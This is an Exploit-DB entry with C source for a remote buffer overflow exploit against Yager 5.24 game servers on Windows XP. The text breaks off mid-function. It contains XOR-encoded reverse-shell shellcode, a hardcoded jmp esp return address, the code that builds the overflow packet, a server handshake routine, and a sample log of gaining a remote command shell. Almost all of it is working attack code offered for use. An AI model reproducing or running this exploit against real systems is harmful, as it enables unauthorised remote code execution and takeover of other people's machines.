Exploit-DB #953
Description: Yager 5.24 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2005-04-25
Author: cybertronic

Exploit:
/*
 *
 * Yager <= 5.24 Remote Buffer Overflow Exploit
 *
 * cybertronic[at]gmx[dot]net
 * 04/25/2005
 *
 * send all the money to Luigi Auriemma
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ select target
 * --[ 0 [0xdeadc0de] crash server
 * --[ 1 [0x300686bd] binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]
 *  >> 1
 * --[ sending handshake [UDP]...done!
 * --[ reading server response [UDP]...done!
 * --[ server port: 1089
 * --[ connecting to 192.168.2.100:1089 [TCP]...done!
 * --[ exploiting WinXP Pro SP1 GER
 * --[ ret: 0x300686bd [ jmp esp in binkw32.dll ]
 * --[ exploiting packet overflow...
 * --[ sending packet...done!
 * --[ starting reverse handler [port: 1337]...done!
 * --[ incomming connection from:  192.168.2.100
 * --[ b0x pwned - h4ve phun
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\Yager>
 *
 */


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT_UDP	34855

#define RED		"\E[31m\E[1m"
#define GREEN	"\E[32m\E[1m"
#define YELLOW	"\E[33m\E[1m"
#define BLUE	"\E[34m\E[1m"
#define NORMAL	"\E[m"

/*
 *
 * prototypes
 *
 */

int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, unsigned long ret );
int isip ( char *ip );
int send_handshake ( int s, struct sockaddr_in remote_addr );
int shell ( int s, char* tip, unsigned short cbport );

void header ();
void start_reverse_handler ( char* argv3 );

/*********************
 * Windows Shellcode *
 *********************/

/*
 * Type : connect back shellcode
 * Length: 316 bytes
 * CBIP : reverseshell[111] ( ^ 0x99999999 )
 * CBPort: reverseshell[118] ( ^ 0x9999 )
 *
 */

unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";

/*
 *
 * structures
 *
 */

struct targets {
	int  num;
	unsigned long ret;
	char name[64];  
}
target[]= {
	{ 0, 0xdeadc0de, "crash server" },
	{ 1, 0x300686bd, "binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]" } //push esp in binkw32.dll
};

/*
 *
 * functions
 *
 */

int
exploit ( int s, unsigned long xoredcbip, unsigned short xoredcbport, unsigned long ret )
{
	int r;
	char buffer_pack[592];
	
	printf ( "--[ exploiting WinXP Pro SP1 GER\n" );
	printf ( "--[ ret: 0x%08x [ jmp esp in binkw32.dll ]\n", ret );

	memcpy ( &reverseshell[111], &xoredcbip, 4);
	memcpy ( &reverseshell[118], &xoredcbport, 2);

	r = ~time ( NULL ) & 0xffff;
	printf ( "--[ exploiting packet overflow...\n" );
	bzero ( &buffer_pack, sizeof ( buffer_pack ) );
	memset ( buffer_pack, 0x41, 268 );
	strncat ( buffer_pack, ( unsigned char* ) &ret, 4 );
	strncat ( buffer_pack, "\x41\x41\x41\x41", 4 ); //4 bytes padding
	memcpy ( buffer_pack + 276, reverseshell, sizeof ( reverseshell ) - 1 );
	buffer_pack[0] = 0x00;
	buffer_pack[1] = 0x00;
	buffer_pack[2] = 0x00;
	buffer_pack[3] = 0x00;
	buffer_pack[4] = 0x46; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
	buffer_pack[5] = 0x02; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
	buffer_pack[6] =   ( r & 0x00ff );
	buffer_pack[7] = ( ( r & 0xff00 ) >> 8 );
	buffer_pack[8] = 0x00;
	buffer_pack[9] = 0x00;
	printf ( "--[ sending packet..." );
	if ( write ( s, buffer_pack, sizeof ( buffer_pack )  ) <= 0 )
	{
		printf ( "failed!\n" );
		return ( 1 );
	}
	printf ( "done!\n" );
	return ( 0 );
}

int
isip ( char *ip )
{
	int a, b, c, d;
	
	if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
		return ( 0 );
	if ( a < 1 )
		return ( 0 );
	if ( a > 255 )
		return 0;
	if ( b < 0 )
		return 0;
	if ( b > 255 )
		return 0;
	if ( c < 0 )
		return 0;
	if ( c > 255 )
		return 0;
	if ( d < 0 )
		return 0;
	if ( d > 255 )
		return 0;
	return 1;
}

int
send_handshake ( int s, struct sockaddr_in remote_addr )
{
	char* p;
	char crap[23];
	char in[2048];
	unsigned short port;
	
	bzero ( &crap, sizeof ( crap ) );
	crap[0] = 0x59;
	crap[1] = 0x5f;
	crap[2] = 0x4e;
	crap[3] = 0x45;
	crap[4] = 0x54;
	crap[5] = 0x5f;
	crap[6] = 0x59;
	crap[7] = 0x41;
	crap[8] = 0x47;
	crap[9] = 0x45;
	crap[10] = 0x52;
	crap[11] = 0x5f;
	crap[12] = 0x43;
	crap[13] = 0x4c;
	crap[14] = 0x49;
	crap[15] = 0x45;
	crap[16] = 0x4e;
	crap[17] = 0x54;
	crap[18] = 0x00;
	*( u_short* ) ( crap + 19 ) = ~time ( NUL